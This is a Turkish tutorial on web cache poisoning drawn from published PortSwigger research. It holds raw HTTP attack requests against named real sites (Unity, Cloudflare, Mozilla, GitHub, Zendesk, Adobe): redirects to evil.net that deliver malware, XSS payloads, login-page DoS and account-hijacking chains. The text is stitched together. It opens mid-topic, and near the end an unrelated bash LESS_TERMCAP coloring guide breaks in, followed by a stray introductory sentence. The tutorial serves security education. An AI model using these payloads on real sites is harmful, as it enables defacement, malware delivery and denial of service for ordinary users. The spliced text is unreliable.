Bu, JavaScript içe aktarma işleminin hedefini ele geçiriyor ve business.pinterest.com‘da statik olması gereken birkaç sayfa üzerinde tam kontrol imkanı sağlıyor:

GET /foo.js?v=1 HTTP/1.1

HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/

İç içe Önbellek Zehirlenmesi

Diğer Drupal siteleri genellikle yönlendirmeler yoluyla herhangi bir önemli kaynağı içe aktarmaz. Fakat site harici bir önbellek kullanıyorsa (hemen hemen tüm yüksek trafikli Drupal siteleri gibi), harici önbelleği zehirlemek için dahili önbelleği kullanabiliriz ve bu süreçte herhangi bir yanıtı yeniden yönlendirmeye dönüştürebiliriz. Bu iki aşamalı bir saldırıdır. İlk olarak, /redir‘i kötü amaçlı yönlendirmemizle değiştirmek için dahili önbelleği zehirliyoruz:

GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir

Daha sonra, /download?v=1‘i önceden zehirlenmiş /redir‘imizle değiştirmek için harici önbelleği zehirliyoruz:

GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir

Sonuç olarak, unity.com’da ‘setup indir’e tıklamak, evil.net’ten kötü amaçlı yazılımların indirilmesine neden olur. Bu teknik aynı zamanda RSS akışlarına sahte girişler eklemek, oturum açma sayfalarını kimlik avı sayfalarıyla değiştirmek ve dinamik script üzerinden stored XSS’i de içeren çok sayıda başka saldırı için de kullanılabilir.

Bu zafiyet 2018-05-29 tarihinde Drupal, Symfony ve Zend ekiplerine bildirilip  SA-CORE-2018-005, CVE-2018-14773, ZF2018-01 referans numaraları tanımlanmıştır.

Olası yaklaşımlar konusunda gözümüzü açması açından güzel bir örnek.

Şimdiye kadar ele aldığımız pratik yaklaşımlara ek olarak aşağıdaki araştırmayı da kısaca dahil ederek devam edebilliriz

https://portswigger.net/research/web-cache-entanglement

Önbellek Testi

Önbellek mekanizmasının nasıl çalıştığını anlamak için önbellek mekanizmasının kullanıldığından emin olduğumuz bir nokta üzerinde testlerimizi gerçekleştirmemiz gerekiyor.

Testler sırasında önbellek durumunu takip etmemizi sağlayacak HIT MISS gibi dönüşlerin yanı sıra yanıt süresi de önbellek işlemi hakkında bize ipucu veriyor olacak.

Anahtarın Kullanımını Keşfetmek

Önbellek testi gerçekleştirebileceğimiz noktayı belirledikten sonra, bir dizi istek ile önbellek anahtarlarının kaydedilme esnasında girdiler üzerinde dönüşüm uygulanıp uygulanmadığını test etmemiz gerek. Genellikle belirli query parametreleri veya query dizesinin tamamı silinebiliyor veya Host başlıkları silinip URL ayrıştırma uygulanabiliyor. Yani önbellek anahtarı olarak kullanılan değerler de bir takım dönüşümler geçirdikten sonra nihai anahtar halini alıyorlar.

Test etmek için her sorguda bir başka küçük değişiklik yaparak yanıtları kontrol etmemiz gerek. Örnek olarak Host başlığını yanıtta yansıtan bir servisi ele alalım:

GET / HTTP/1.1
Host: redacted.com

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com/en
CF-Cache-Status: MISS

Gördüğünüz gibi Host başlığındaki değer yanıtta bulunuyor. Denemek için port bilgisini değiştirip gönderelim:

GET / HTTP/1.1
Host: redacted.com:1337

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1337/en
CF-Cache-Status: MISS

Şimdi port bilgisini silip tekrar orijinal isteği gönderelim:

GET / HTTP/1.1
Host: redacted.com

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1337/en
CF-Cache-Status: HIT

Bu yanıt sayesinde port adresinin önbellek anahtarı olarak kullanılmadığını teyit etmiş olduk. Bu sayede ana sayfaya ulaşmak isteyen kullanıcılar önbellek dolayısıyla olmayan bir port adresine istek gönderecekleri için önbellekten yanıt dönülen kullanıcılar servise erişemeyecekler.

ℹ️ Not: Buradaki örnekte, isteğin önbelleğe alınması için servisin hangi zaman veya koşulda önbellekleme yaptığı detayı göz ardı edilmiştir. Her isteğin her zaman önbelleğe alınmadığından daha önce bahsetmiştik. Burada örneği basit tutmak adına doğrudan sonuçlar gösteriliyor.

Web cache açıklarını dikkate değer kılmak için web servisinin sunduğu çeşitli özelliklerle birlikte akıllıca tetiklenecek hale getirmemiz gerek. Anlatım sırasında bu duruma dair örnekleri ele alacağız.

Örneğin XSS açıklarını stored formuna getirmemiz, dinamik olarak oluşturulan JS vs CSS kaynaklarını manipüle etmemiz ve standart tarayıcıların göndermeyeceği normalde “sömürülemez” kabul edilen açıklardan yararlanmamız mümkün olacak.

Anahtar Olarak Kullanılmayan “Query” Tespiti

Çoğu önbellek anahtar mekanizması “query” yani sorgu dizesinin tamamını önbellek anahtarı olarak ele almaz.

Test etmek için bir parametrenin değerini değiştirerek ve yanıtlardaki bazı farklılıkları gözlemleyerek çoğu dinamik sayfayı kolayca tanıyabilirsiniz.

GET /?q=canary HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
<link rel="canonical" href="https://example.com/?q=canary"

Ancak bu yaklaşım, query sorgu dizesi önbellek anahtarı için kullanılmıyorsa işe yaramaz. Bu durumda, fazladan bir önbellek bozucu parametresi eklemenin bile hiçbir etkisi olmayacaktır. Aşağıdakiler, query’nin önbellek anahtarı olarak kullanılmadığı duruma örnek:

GET /?q=canary&cachebuster=1234 HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
CF-Cache-Status: HIT

<link rel="canonical" href="https://example.com/

Eğer query, önbellek üretimi için kullanılıyor olsaydı canary&cachebuster=1234 dizesi yeni bir önbellek oluşturacaktı, ancak böyle olmadığını çıktıdan görebiliyoruz.

Sayfa, önbelleğe alma işleminin ne zaman gerçekleştiğini açıkça belirtmediği sürece, buradaki güvenlik açığını fark etmek özellikle otomatik tarama yapan araçlar ile zordur.

Bu noktada önbellek anahtarı olarak kullanılan diğer bileşenleri değiştirerek, yeniden önbelleğe almaya zorlayabiliriz.

GET /?q=canary&cachebust=nwf4ws HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate, nwf4ws
Accept: */*, text/nwf4ws
Cookie: nwf4ws=1
Origin: https://nwf4ws.example.com

Bu yaklaşım bazı sistemlerde harika çalışır; örneğin, Cloudflare çalıştıran siteler, varsayılan olarak Origin‘i önbellek anahtarına ekler. Bu gibi önbellek anahtarı olarak kullanılan başlıklarda değişimler yaparak yeni ve benzersiz önbellek oluşumunu tetikleyebiliriz. Ancak bu yaklaşım mükemmel değildir; bazı siteler önbellek anahtarlarında bu başlıkların hiçbirini içermez ve diğer sitelerde önbellek bozucularımız bazı şeyleri bozabilir.

Buradaki amacımız önbellek mekanizmasını test ederken benzersiz bir önbellek yanıtı ile sistemi tanımamız. Bu sebeple önbellek mekanizmasını sıfırlamak için aslında PURGE ve FASTLPURGE(fastly üzerinde) HTTP metotları sayesinde önbelleklerin sıfırlanmasını talep de edebiliriz. Bu sayede var olan önbelleklerden kurtulup yenilerini oluşturarak sistemi tanımaya devam edebiliriz.

Bir diğer yöntem size pek çok önbellek mekanizması anahtar olarak path yani URL yolunu kullandığı için backend sistemine göre yolun normalleştirildiği farklı karakterleri kullanabiliriz. Aşağıdaki örnekler dört farklı sistemde / yoluna işaret ediyor aslında:

Apache: //
Nginx: /%2F
PHP: /index.php/xyz
.NET: /(A(xyz))/

Örneğin apache üzerinde / yoluna işaret etmek üzere // kullandığımızda sunucu arka tarafta bunu normalize ederek / haline getirecek. Fakat aradaki önbellek sunucusu bunu // olarak ele alacağı için farklı bir önbellek anahtarı gibi görecek.

Anahtar Olarak Kullanılmayan Query’den Yararlanmak

Örneğin aşağıdaki istek, gazetedeki her sayfada XSS’e yol açan bir query yansıtması barındırıyor. XSS payload’ı query kısmına girdiğimizde yanıta eklendiği için zararlı kod yanıtta yer alıyor.

GET //?"><script>alert(1)</script> HTTP/1.1
Host: redacted-newspaper.net

HTTP/1.1 200 OK
<meta property="og:url" content="//redacted-newspaper.net//?x"><script>alert(1)</script>"/>

Burada query, önbellek anahtarı olarak kullanılmadığı için // adresine istek atan kullanıcılar XSS yüküne maruz kalacaklar. Buradaki ikinci / işareti aslında site üzerindeki herkesi XSS yüküne maruz bırakmamak için yani güvenli test için mevcut. PURGE ile önbelleği temizleyip / adresinin bu yük ile önbelleğe alınmasını sağlarsak herkes bu XSS yüküne maruz kalacaktır.

Yönlendirme ile DoS

Anahtar olarak kullanılmayan query olduğunda ama XSS yükü yanıtlara yansıtılmadığında DoS yöntemi olarak kullanımı mümkün olabilir.

Cloudflare’in oturum açma sayfası dash.cloudflare.com/login adresinde bulunuyor fakat pek çok bağlantı, kullanıcıları /login/ aracılığıyla yönlendiren cloudflare.com/login adresine işaret ediyor. Yani kullanıcılar cloudflare.com/login üzerinden giriş yapıp yönlendiriliyorlar. Bu yönlendirmeyi kendi önbellek testimiz için kullanarak, query kısmının önbellek anahtarı olarak ele alınıp alınmadığını test edebiliriz:

GET /login?x=abc HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc

GET /login HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc

Gördüğünüz gibi Origin başlığı önbellek anahtarı olarak kullanılırken, query kısmı kullanılmadığı için Origin aynı kalmak koşulu ile doğrudan /login path’i üzerinde de aynı önbellek yanıtı döndürüldü.

Bu durum tek başına DoS’a sebep olmayabilir, ancak doğru yaklaşım ile bu tip önbellek zehirlenmelerini DoS olarak kullanabiliriz. Örneğin query dizesini maksimum URI uzunluğuna kadar doldurmayı deneyebiliriz:

GET /login?x=very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

Daha sonra başka biri giriş sayfasını ziyaret etmeye çalıştığında doğal olarak uzun bir sorgu dizesi içeren bir yönlendirme alacaktır:

GET /login HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

HTTP/1.1 301 Moved Permanently
Location: /login/?x=very-long-string...

Tarayıcıları bu yönlendirmeyi otomatik olarak takip ettiğinde, query den önce path yoluna eklenen ekstra / URI’yi bir bayt daha uzun hale getirir ve bunun sunucu tarafından engellenmesine neden olur:

GET /login/?x=very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS

Yani tek bir istekle Cloudflare’in giriş sayfasına giden bu rotayı ısrarla kapatabiliriz. Buradaki Origin: https://dontpoisoneveryone/ başlığını güvenli test için eklemiştik. Eğer bu başlığı kaldırıp bu isteği önbelleğe aldırırsak, cloudflare.com/login üzerinden giriş yapmaya çalışan herkesin oturumuna mani olabiliriz.

Ayrıca lütfen dikkat edin, bunların hepsi yönlendirme sayesindedir; Cloudflare 414 gibi bir hata durum koduna sahip herhangi bir yanıtı önbelleğe almayı reddettiği için aşırı uzun URI’yi kendimiz göndererek bu saldırıyı yapamayız. Tam sınırdaki sayıda(aşırı uzundan 1 bayt kısa) karakter içermeli. Zaten yönlendirme sırasında path yoluna yeni bir / karakteri eklendiği için saldırı mümkün olur.

Buradaki örnek üzerinden de gördüğümüz gibi; aktif olarak kullanılan ve sorgu parametrelerini yansıtan önbelleğe alınabilir bir yönlendirme bulursanız, hedef sayfa önbelleğe alınabilir olmasa veya aynı domain üzerinde olmasa bile, yönlendirme hedefine parametreler enjekte ederek DoS gibi zafiyetleri ortaya çıkabilirsiniz.

Araştırmacı bu durumu Cloudflare’a iletmiş ve query değerini yansıtan yönlendirme yanıtlarının önbelleğe alınmasını önleyerek çözüm sunmuşlar. Fakat araştırmacı URL encoding ile bu önlemi de atlatmış:

GET /login?x=%6cong-string… HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=long-string…
CF-Cache-Status: HIT

Daha sonra bu yöntem de çözülmüş, ancak query değerini Location başlığına eklemeden önce başka dönüşüm işlemi yapan bir sunucu bulursanız bu çözümü de atlamanız mümkün olabilir.

Önbellek Parametresi Gizleme

Eğer spesifik bir parametre önbellek anahtarı olarak kullanımdan hariç tutuluyorsa, kelime ayrıştırma yapıldığı için bu durumu manipüle ederek başka parametreleri de hariç tutmamız mümkün olabilir. Yani önbellek parametrelerini keyfi olarak gizlememiz mümkün olabilir.

Basit bir örnek ile başlamak için Varnish üzerinde “_” parametresi silmek üzere stackoverflow üzerinde sunulmuş regex örneğini ele alabiliriz.

set req.http.hash_url = regsuball(
           req.http.hash_url,
           "\?_=[^&]+&",
           "?");

Bu regex’e aşağıdaki isteği gönderelim:

GET /search?q=help?!&search=1 HTTP/1.1
Host: example.com

Önbellek anahtarını değiştirmeden “q” parametresini aşağıdaki şekilde zehirleyebiliriz:

GET /search?q=help?_=payload&!&search=1 HTTP/1.1
Host: example.com

Regex, ‘_’ parametresini kaldırmaya çalışırken, geride bir ‘?’ bırakır. Bu nedenle, soru işareti içeren parametreleri zehirleyebiliriz. Yani aslında farklı parametreler içeren istekleri aynı önbellek anahtarı oluşturacak şekilde önbelleğe aldırmamız mümkündür. Bu sayede son derece sıradan gözüken istekler bile zararlı yükleri barındırıyor olabilir.

Akamai

Akamai örneğinde, ‘akamai-transform’ parametresinin önbellek anahtarına dahil edilmemesi nedeniyle parametre gizlemesi yapabiliyorsunuz. Bunun nasıl bir fayda sağladığını anlamak için detaylı bir inceleme yapalım.

GET /en?x=1&akamai-transform=payload-goes-here HTTP/1.1
Host: redacted.com

HTTP/1.1 200 OK
X-True-Cache-Key: /L/redacted.akadns.net/en?x=1 vcd=1234 cid=__

Burada, akamai-transform parametresi önbellek anahtarına dahil edilmediği için yanıtın önbellek anahtarında görünmüyor.

Akamai’nin URL ayrıştırması sayesinde, ‘akamai-transform’ parametresini gizleyerek aynı önbellek anahtarını kullanabilirsiniz. Bu, farklı parametreler içeren isteklerin aynı önbellek anahtarına sahip olmasına neden olur. Yani aşağıdaki iki bağlantı da aynı önbelleği tetikler:

GET /en?x=1&akamai-transform=payload-goes-here HTTP/1.1
Host: redacted.com

GET /en?x=1 HTTP/1.1
Host: redacted.com

Eğer bu durumda biz akamai-transform=zaralı-kodlar ile zararlı kodları yanıtta barındırabilirsek, zararsız bözüken url üzerinden de bu zararlı yanıtı içeren önbellek yanıtı döndülür.

Ruby on Rails Örneği

Ruby on Rails örneğinde, ‘;’ karakterinin parametre ayracı olarak kullanılması sayesinde parametre gizlemesi yapabiliyorsunuz.

Yani aslında her ikisi de aynı kabul ediliyor:

/?param1=test&param2=foo
/?param1=test;param2=foo

Aşağıdaki örnekte utm_content ifadesi önbellek anahtarı olarak kullanılmamak üzere ayrıştırılıyor. Ayrıştırma esnasında karmaşaya sebep olmak için aşağıdaki isteği gönderebiliriz.

GET /jsonp?callback=legit&utm_content=x;callback=alert(1)// HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
alert(1)//(some-data)

Bu istekte, Ruby on Rails üç parametre görür: callback, utm_content ve callback. Rails, ikinci callback değerine öncelik verir ve saldırganın kontrolü altında olan değeri kullanır. Dolayısıyla artık normal şekilde GET ile bu standart link ziyaret edildiğinde önbellekten zararlı yükün bulunduğu yanıt getirilir.

GET /jsonp?callback=legit HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
X-Cache: HIT
alert(1)//(some-data)

Bu istekte, utm_content parametresi önbellek anahtarına dahil edilmediği için yanıt aynı önbellek anahtarına sahip olur. İlk istekte kötü amaçlı callback değeri önbelleğe alındığı için, ikinci istek de aynı kötü amaçlı yanıtı döner.

Özet

Her iki örnekte de parametre gizlemesi, saldırganın kötü amaçlı yüklerini sunucuya gizlice gönderip bu yüklerin önbelleğe alınmasına ve daha sonra diğer kullanıcılar tarafından güvenli gözüken standart adresten erişilmesine olanak tanır.

Anahtarsız Metod

Parametreleri önbellek anahtarından gizlemenin başka bir yolu da basitçe bir POST isteği göndermektir. Bazı sistemler HTTP istek metodunu önbellek anahtarına dahil etmez. Yani POST veya GET olup olmadığına bakmaksızın önbellekleme yapabilir.

POST /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.com

_wvUserWkWebView=a</script><svg onload='alert%26lpar;1%26rpar;'/data-

HTTP/1.1 200 OK
…
"_wvUseWKWebView":"a</script><svg onload='alert&lpar;1&rpar;'/data-"},

Artık standart bir kullanıcı GET ile /view/o2o/shop adresini ziyaret ettiğinde önbellekten zararlı yükün bulunduğu yanıt döndürülecektir.

GET /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.com

HTTP/1.1 200 OK
…
"_wvUseWKWebView":"a</script><svg onload='alert&lpar;1&rpar;'/data-"},

Fat GET

Bazı sistemler GET isteğiyle birlikte body kısmında yer alan verileri de alırlar. Yani GET isteğinin POST gibi ele alındığı hatalı yaklaşımlar mevcut olabilir.

Örneğin aşağıdaki isteği gönderdiğimizde, albinowax github sayfasını ziyaret edip bu kullanıcıyı kötüye kullanım şeklinde bildiren tüm kullanıcılar aslında “innocent-victim” yani başka hedef kullanıcıyı raporlamış olacaklar.

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

GET isteğindeki body kısmı önbelleğe alındığı için istekleri zehirlemek mümkün hale geliyor.

Bir diğer örnek olarak, zendesk kullanan bir hedef için aşağıdaki istek; onların giriş sayfalarını önbellek ile zehirleyecek, böylece kendi kimlik bilgilerini giren ve ‘login’i tıklayan herkes, onları benim hesabımda oturum açmış halde bırakan bir yönlendirme zincirinden geçirilecek ve daha sonra oluşturdukları tüm biletlerin yetkisi bana verilecek:

GET /en-us/signin HTTP/1.1
Host: example.zendesk.com

return_to=/access/logout?return_to=/./access/return_to?flash_digest=secret-token%2526return_to=/final-page?foo=foo%252526bar=bar

HTTP/1.1 200 OK
…
<input name="return_to" value="/access/logout?return_to=/./access/return_to…">

Özellikleri ve Bileşenleri Kötüye Kullanma

Önbellek zehirleme saldırılarının etkisi büyük ölçüde mevcut gadget‘lara (saldırganın manipüle edebileceği ve zararlı eylemler gerçekleştirebileceği kod parçaları veya bileşenler) bağlıdır. Şimdi bu “gadget” ların neler olabileceği ve nasıl kötüye kullanılabilceklerinden bahsederek devam edelim.

Kaynak Dosyalar: JS ve CSS

JS ve CSS gibi kaynak dosyalar genellikle statiktir, ancak bazen sorgu dizisinden (query string) gelen girdileri yansıtırlar. Bu genellikle zararsızdır çünkü tarayıcılar bu dosyaları doğrudan görüntülendiğinde çalıştırmaz, ancak önbellek zehirleme saldırıları için mükemmel gadget’lar oluştururlar. Önbellek zehirleme kullanarak bir kaynak dosyaya içerik enjekte edebilirsek, o kaynağı yükleyen her sayfa üzerinde, hatta bağlantılı diğer domainler üzerinde bile kontrol elde ederiz. Örneğin, ‘import’ kuralının mevcut sorgu dizisini yansıttığı bir örnek:

GET /style.css?x=a);@import... HTTP/1.1

HTTP/1.1 200 OK

@import url(/site/home/index-part1.8a6715a2.css?x=a);@import...

Bu, zararlı CSS enjekte etmek ve bu CSS dosyasını yükleyen herhangi bir sayfadan hassas bilgileri sızdırmak için kullanılabilir.

Hatta eğer CSS dosyasını yükleyen sayfada bir doctype yoksa, dosyanın text/css içerik türüne sahip olması bile gerekmez; tarayıcılar geçerli CSS ile karşılaşana kadar belgeyi tarar ve ardından bunu çalıştırır. Bu, ara sıra statik CSS dosyalarını, bir sunucu hatasını tetikleyerek URL’yi yansıtan şekilde zehirleyebileceğiniz anlamına gelir:

GET /foo.css?x=alert(1)%0A{}*{color:red;} HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

This request was blocked due to… alert(1)
 {}*{color:red;}

Bu istek, geçerli CSS içeren bir sunucu hatası yansıttığında tarayıcı tarafından yürütülebilir.

Önbellek Anahtarının Normalizasyonu

Önbellek anahtarı normalizasyonu gibi basit bir işlem bile ciddi sonuçlara yol açabilir. Bu durumu Firefox’un güncelleme sistemi üzerinden inceleyelim. Firefox, periyodik olarak tarayıcı güncellemelerini kontrol etmek için şu isteği yapar:

GET /?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.org

Yanıt ise şu şekildedir:

HTTP/1.1 301 Found
Location: https://download-installer.cdn.mozilla.net/pub/..firefox-73.mar

Soruna sebep olan sunucu yapılandırması aşağıdaki şekildeymiş:

server {
    proxy_cache_key $http_x_forwarded_proto$proxy_host$uri$is_args$args;
    location / {
        proxy_pass http://upstream_bouncer;
    }
}

Bu yapılandırmada proxy_cache_key ayarında herhangi bir sorun yok; aslında, nginx’in varsayılan cache key’ine oldukça benzer. Ancak, nginx’in proxy_pass belgesine baktığınızda sorunun ipucunu bulabilirsiniz:

If proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed.

Buradaki ‘in the same form’ (aynı biçimde) ifadesi, iletilen isteğin normalize edilmeyeceğini, oysa cache key’de saklanan istek bileşenlerinin normalleştirilebileceğini ima eder. Nginx’in cache key’e uyguladığı normalizasyon biçimlerinden biri, tam URL-çözümleme (URL-decode) işlemidir.

Saldırının İşleyişi

Eğer güncelleme isteğini URL encode şeklindeki soru işareti ile yaparsanız, bu backend tarafında karışıklığa neden olacak ve hatalı bir yönlendirme(hatalı istekleri doğrudan ana sayfaya yönlendiriyor) ile sonuçlanacaktır:

GET /%3fproduct=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.org

HTTP/1.1 301 Found
Location: https://www.mozilla.org/

Ancak, nginx’in URL-çözümleme işlemi sayesinde ? ve %3 aynı cache key değerine tekabül edeceği için bu istek, meşru bir güncelleme isteği ile aynı cache key’e sahip olacaktır. Bu noktadan itibaren, Firefox global olarak güncelleme yapamayacaktır:

GET /?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.org

HTTP/1.1 301 Found
Location: https://www.mozilla.org/

Önbellek Sihirbazlıkları

Encoded XSS

Burp repeater sekmesinde aşağıdaki gibi bir istek gönderdiğinizde reflected XSS elde edilebildiğini düşündüğünüz bir durum olduğunu varsayalım:

GET /?x="/><script>alert(1)</script> HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
...
<a href="/?x="/><script>alert(1)</script>

Fakat bu açığı standart web tarayıcıları üzerinde uygulayamazsınız. Çünkü modern tarayıcılar, sunucuya istekte bulunmadan önce anahtar karakterleri URL olarak kodlar ve sunucu bunların kodunu çözmez. Yani aslında sunucu tarafına aşağıdaki gibi bir istek gönderilir:

GET /?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: example.com

Sunucu da URL decode uygulamadan bunu yanıta yansıtır:

HTTP/1.1 200 OK
...
<a href="/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

Benzer şekilde aslında yalnızca path yolundaki karakterleri değil, query yani sorgu dizesindeki temel karakteri de tarayıcılar URL olarak kodlayıp sunucuya iletiyor.

Fakat önbellek anahtarlarının normalize edilmesi sayesinde daha önceki örnekte de gördüğümüz şekilde aslında URL encode ve standart karakterler de aynı önbellek anahtarına dönüştürülüyor. Bu sayede biz öncelikle burp üzerinden URL encode olmayan isteği gönderip bunu önbelleğe almayı başarabilirsek, URL encode biçimindeki standart tarayıcılardan gelen isteklere de bu önbellekten yanıt döndürülüyor olacak.

Öncelikle burp ile isteği URL encode olmadan sunucuya iletip önbelleğe bu şekilde alınmasını sağlayalım:

GET /?x="/><script>alert(1)</script> HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
...
<a href="/?x="/><script>alert(1)</script>

Tamamdır, şimdi standart tarayıcılar üzerinden bu url ziyaret edildiğinde URL encode uygulansa bile önbellek mekanizması URL normalizasyonu ile her iki isteği de aynı görüp, önceden oluşturduğu önbellekten yanıtı dönecek.

GET /?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
X-Cache: HIT
...
<a href="/?x="/><script>alert(1)</script>

Önbellek Anahtarı Enjeksiyonu - Akamai

Örneğin Origin başlığı gibi normalde standart kullanıcıların göndermeyeceği başlıklar üzerinden sömürü gerçekleştirmemiz gerekirse ?

GET /?x=2 HTTP/1.1
Origin: '-alert(1)-'

HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'

<script>…'-alert(1)-'…</script>

Normalde bu tür bir açığı sömürmek mümkün değildir, çünkü standart kullanıcıların tarayıcıları üzerinden Origin: '-alert(1)-' başlığı ile istek göndermesini sağlayamazsınız. Fakat Akamai tüm anahtar bileşenleri birbirinden ayıran __ kaçış karakterlerini kaldırmadan önbellek anahtarına dahil ederse, aşağıdaki iki istek de aynı önbellek anahtarına sahip olabilir.

İlk İstek:

GET /?x=2 HTTP/1.1
Origin: '-alert(1)-'__

HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'__

İkinci istek:

GET /?x=2__Origin='-alert(1)-' HTTP/1.1

HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'__
X-Cache: TCP_HIT

<script>…'-alert(1)-'…</script>

İlk isteği kendiniz yaparak ve kurbanınızı ikinci URL’ye yönlendirerek bu XSS’yi sömürülebilir hale getirmiş olursunuz. Çünkü ilk istek ile Origin başlığının önbelleğe alınmasını sağlarsınız. İkinci istekte ise __ ayrıştırma karakteri kaldırılmadan önbelleğe alındığı için, önbellek mekanizmasını kandırarak bir önceki istek neticesinde oluşturan önbellek anahtarı ile mevcut isteğin aynı olması sağlanmış olur.

Dahili Önbellek Zehirlenmesi

Önbellek zehirlemesi saldırıları genellikle karmaşık ve dikkatle yürütülmesi gereken işlemler olsa da, bazıları o kadar pratiktir ki güvenli bir şekilde gerçekleştirilmeleri neredeyse imkansızdır. İşte Adobe’nin blogunda yaşanan bir örnek vaka:

İstek:

GET /access-the-power-of-adobe-acrobat?dontpoisoneveryone=1 HTTP/1.1
Host: theblog.adobe.com
X-Forwarded-Host: collaborator-id.psres.net

Bu istekten sonra, araştırmacının Burp Collaborator sunucusuna, Adobe’nin web sitesinin her yerinden gelen yoğun bir trafik akışı oluşmuş. İncelendiğinde, Adobe’nin WP Rocket Cache adında entegre bir uygulama düzeyinde önbellek kullandığı ortaya çıkmış. Uygulama düzeyindeki dahili önbellekler, yanıtların parçalarını ayrı ayrı önbelleğe alır ve genellikle bir önbellek anahtarı kavramına sahip değildir.

Sonuç:

GET / HTTP/1.1
Host: theblog.adobe.com

HTTP/1.1 200 OK
X-Cache: HIT - WP Rocket Cache
...
<script src="https://collaborator-id.psres.net/foo.js"/>
...
<a href="https://collaborator-id.psres.net/post">…

Bu istekle, sitenin ana sayfası dahil her sayfa zehirlenmiş ve her bağlantı araştırmacının alan adıma yönlendirilmiş. Bu durum, sitenin neredeyse tamamen araştırmacının domainine bağımlı hale gelmesine neden olmuş.

Böylelikle önbellek zehirlenmesi konusu pek çok açıdan ele almış olduk. Bu yazı içeriğinin tamamı aşağıdaki kaynaklar sayesinde mümkün olmuştur. Dolayısıyla birincil kaynaklardan daha detaylı bilgi edinmek için göz atın lütfen.

Burada edindiğiniz pratikleri lablar üzerinden test ederek öğrenme düzeyinizi de görebilirsiniz.

İleri Okuma

Tüm anlatımlar benim anlayışım ile sınırlı olduğu için daha kesin ve detaylı bilgileri edinmek için lütfen kaynakları inceleyin.

• Practical Web Cache Poisoning
• Bypassing Web Cache Poisoning Countermeasures
• Web Cache Entanglement
• Next.js and Cache Poisoning: A Quest for the Black Hole
• DoS via Cache Poisoning

Neden LESS_TERMCAP isimli bir değişken olduğunu merak ediyorsanız çok kısaca özetleyecek olursak; less komutu, terminalin özelliklerine erişmek için Termcap kütüphanesini kullanır. Termcap, terminalin yeteneklerini tanımlayan bir veri tabanıdır ve her yetenek iki harfli kodlarla tanımlanır (örneğin, md kalın yazıyı başlatır). LESS_TERMCAP değişkenleri, Termcap kütüphanesindeki bu değerleri kullanıcı tanımlı değerlerle değiştirmeye olanak tanır. Bu yöntem, özellikle man sayfalarının ve less çıktılarının daha okunabilir ve estetik hale getirilmesi için kullanışlıdır.

Bu sebeple biz de less ve man komutu çıktılarını renklendirmek üzere, kullanmakta olduğumuz kabuğun konfigürasyon dosyasında aşağıdaki şekilde değişkenleri tanımlayacağız. Aşağıdaki konfigürasyon, ek olarak ls komutu için de temel dizin renklendirmesi yapmak üzere tanımlama içeriyor.

# ls, less ver man icin renklendirme
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    export LS_COLORS="$LS_COLORS:ow=30;44:" # fix ls color for folders with 777 permissions
    export LESS_TERMCAP_mb=$'\E[1;31m'     # begin blink
    export LESS_TERMCAP_md=$'\E[1;36m'     # begin bold
    export LESS_TERMCAP_me=$'\E[0m'        # reset bold/blink
    export LESS_TERMCAP_so=$'\E[01;33m'    # begin reverse video
    export LESS_TERMCAP_se=$'\E[0m'        # reset reverse video
    export LESS_TERMCAP_us=$'\E[1;32m'     # begin underline
    export LESS_TERMCAP_ue=$'\E[0m'        # reset underline
fi

Ben kendi hesabımda bash kabuğunu kullandığım için kendi ev dizinimdeki ~/.bashrc dosyasına yukarıdaki konfigürasyon ekleyip dosyamı kaydediyorum.

Daha sonra source ~/.bashrc komutu ile, ilgili değişiklikleringeçerli olmasını sağlamamız yeterli. Bu işlemlerin ardından açılan her yeni konsol üzerinde artık man, less ve ls aracının çıktıları renklendiriliyor olacak.

Günümüzde pek çok websitesi verimlilik için bazı statik dosyaların önbellekte(CDN, load balancer veya reverse proxy vb..) bulunmasını sağlıyor.

